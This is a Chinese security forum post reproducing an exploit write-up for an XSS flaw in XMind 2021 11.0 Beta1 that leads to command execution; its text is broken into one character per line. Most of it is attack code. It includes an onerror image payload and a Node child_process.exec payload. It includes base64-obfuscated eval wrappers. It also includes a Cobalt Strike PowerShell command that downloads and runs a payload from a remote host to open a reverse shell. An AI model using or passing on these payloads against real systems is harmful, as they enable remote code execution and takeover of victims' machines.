论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
漏洞
[20598] 2021-05-11_XMind202111.0Beta1XSS漏洞导致命令执行
文档创建者：
s7ckTeam
浏览次数：
16
最后更新：
2025-01-18
漏洞
16 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2021-05-11_XMind202111.0Beta1XSS漏洞导致命令执行
X
M
i
n
d
2
0
2
1
1
1
.
0
B
e
t
a
1
X
S
S
漏
洞
导
致
命
令
执
行
忍
者
K
h
a
n
安
全
攻
防
实
验
室
2
0
2
1
-
0
5
-
1
1
漏
洞
利
用
方
式
：
选
择
事
件
型
X
S
S
需
要
附
带
o
n
e
r
r
o
r
事
件
，
比
如
i
m
g
、
a
u
d
i
o
等
。
弹
窗
代
码
：
<
i
m
g
s
r
c
=
x
o
n
e
r
o
r
=
a
l
e
r
t
(
1
)
>
构
造
命
令
执
行
p
a
y
l
o
a
d
r
e
q
u
i
r
e
(
'
c
h
i
l
d
_
p
r
o
c
e
s
s
'
)
.
e
x
e
c
(
'
i
p
c
o
n
f
i
g
/
a
l
l
'
,
(
e
r
r
o
r
,
s
t
d
o
u
t
,
s
t
d
e
r
r
)
=
>
{
a
l
e
r
t
(
`
s
t
d
o
u
t
:
$
{
s
t
d
o
u
t
}
`
)
;
}
)
;
最
终
利
用
代
码
：
<
i
m
g
s
r
c
=
#
o
n
e
r
r
o
r
=
'
e
v
a
l
(
n
e
w
B
u
f
f
e
r
(
`
c
m
V
x
d
W
l
y
Z
S
g
n
Y
2
h
p
b
G
R
f
c
H
J
v
Y
2
V
z
c
y
c
p
L
m
V
4
Z
W
M
o
J
2
l
w
Y
2
9
u
Z
m
l
n
I
C
9
h
b
G
w
n
L
C
h
l
c
n
J
v
c
i
w
g
c
3
R
k
b
3
V
0
L
C
B
z
d
G
R
l
c
n
I
p
P
T
5
7
C
i
A
g
I
C
B
h
b
G
V
y
d
C
h
g
c
3
R
k
b
3
V
0
O
i
A
k
e
3
N
0
Z
G
9
1
d
H
1
g
K
T
s
K
I
C
B
9
K
T
s
=
`
,
`
b
a
s
e
6
4
`
)
.
t
o
S
t
r
i
n
g
(
)
)
'
>
反
弹
s
h
e
l
l
命
令
C
S
生
成
p
o
w
e
r
s
h
e
l
l
脚
本
p
o
w
e
r
s
h
e
l
l
.
e
x
e
-
n
o
p
-
w
h
i
d
d
e
n
-
c
"
I
E
X
(
(
n
e
w
-
o
b
j
e
c
t
n
e
t
.
w
e
b
c
l
i
e
n
t
)
.
d
o
w
n
l
o
a
d
s
t
r
i
n
g
(
'
h
t
t
p
:
/
/
1
2
7
.
0
.
0
.
1
/
t
e
s
t
/
'
)
)
"
r
e
q
u
i
r
e
(
'
c
h
i
l
d
_
p
r
o
c
e
s
s
'
)
.
e
x
e
c
(
'
p
o
w
e
r
s
h
e
l
l
.
e
x
e
-
n
o
p
-
w
h
i
d
d
e
n
-
c
"
I
E
X
(
(
n
e
w
-
o
b
j
e
c
t
n
e
t
.
w
e
b
c
l
i
e
n
t
)
.
d
o
w
n
l
o
a
d
s
t
r
i
n
g
(
'
h
t
t
p
:
/
/
1
2
7
.
0
.
0
.
1
/
t
e
s
t
'
)
)
"
'
,
(
e
r
r
o
r
,
s
t
d
o
u
t
,
s
t
d
e
r
r
)
=
>
{
a
l
e
r
t
(
`
s
t
d
o
u
t
:
$
{
s
t
d
o
u
t
}
`
)
;
}
)
;
c
m
V
x
d
W
l
y
Z
S
g
n
Y
2
h
p
b
G
R
f
c
H
J
v
Y
2
V
z
c
y
c
p
L
m
V
4
Z
W
M
o
J
3
B
v
d
2
V
y
c
2
h
l
b
G
w
u
Z
X
h
l
I
C
1
u
b
3
A
g
L
X
c
g
a
G
l
k
Z
G
V
u
I
C
1
j
I
C
J
J
R
V
g
g
K
C
h
u
Z
X
c
t
b
2
J
q
Z
W
N
0
I
G
5
l
d
C
5
3
Z
W
J
j
b
G
l
l
b
n
Q
p
L
m
R
v
d
2
5
s
b
2
F
k
c
3
R
y
a
W
5
n
K
F
w
n
a
H
R
0
c
D
o
v
L
z
E
5
M
i
4
x
N
j
g
u
N
z
I
u
M
T
I
5
O
j
g
w
O
D
E
v
Y
W
J
j
Z
G
V
c
J
y
k
p
I
i
c
s
K
G
V
y
c
m
9
y
L
C
B
z
d
G
R
v
d
X
Q
s
I
H
N
0
Z
G
V
y
c
i
k
9
P
n
s
K
I
C
A
g
I
G
F
s
Z
X
J
0
K
G
B
z
d
G
R
v
d
X
Q
6
I
C
R
7
c
3
R
k
b
3
V
0
f
W
A
p
O
w
o
g
I
H
0
p
O
w
=
=
<
i
m
g
s
r
c
=
#
o
n
e
r
r
o
r
=
'
e
v
a
l
(
n
e
w
B
u
f
f
e
r
(
`
c
m
V
x
d
W
l
y
Z
S
g
n
Y
2
h
p
b
G
R
f
c
H
J
v
Y
2
V
z
c
y
c
p
L
m
V
4
Z
W
M
o
J
3
B
v
d
2
V
y
c
2
h
l
b
G
w
u
Z
X
h
l
I
C
1
u
b
3
A
g
L
X
c
g
a
G
l
k
Z
G
V
u
I
C
1
j
I
C
J
J
R
V
g
g
K
C
h
u
Z
X
c
t
b
2
J
q
Z
W
N
0
I
G
5
l
d
C
5
3
Z
W
J
j
b
G
l
l
b
n
Q
p
L
m
R
v
d
2
5
s
b
2
F
k
c
3
R
y
a
W
5
n
K
F
w
n
a
H
R
0
c
D
o
v
L
z
E
5
M
i
4
x
N
j
g
u
N
z
I
u
M
T
I
5
O
j
g
w
O
D
E
v
Y
W
J
j
Z
G
V
c
J
y
k
p
I
i
c
s
K
G
V
y
c
m
9
y
L
C
B
z
d
G
R
v
d
X
Q
s
I
H
N
0
Z
G
V
y
c
i
k
9
P
n
s
K
I
C
A
g
I
G
F
s
Z
X
J
0
K
G
B
z
d
G
R
v
d
X
Q
6
I
C
R
7
c
3
R
k
b
3
V
0
f
W
A
p
O
w
o
g
I
H
0
p
O
w
=
=
`
,
`
b
a
s
e
6
4
`
)
.
t
o
S
t
r
i
n
g
(
)
)
'
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
发表
漏洞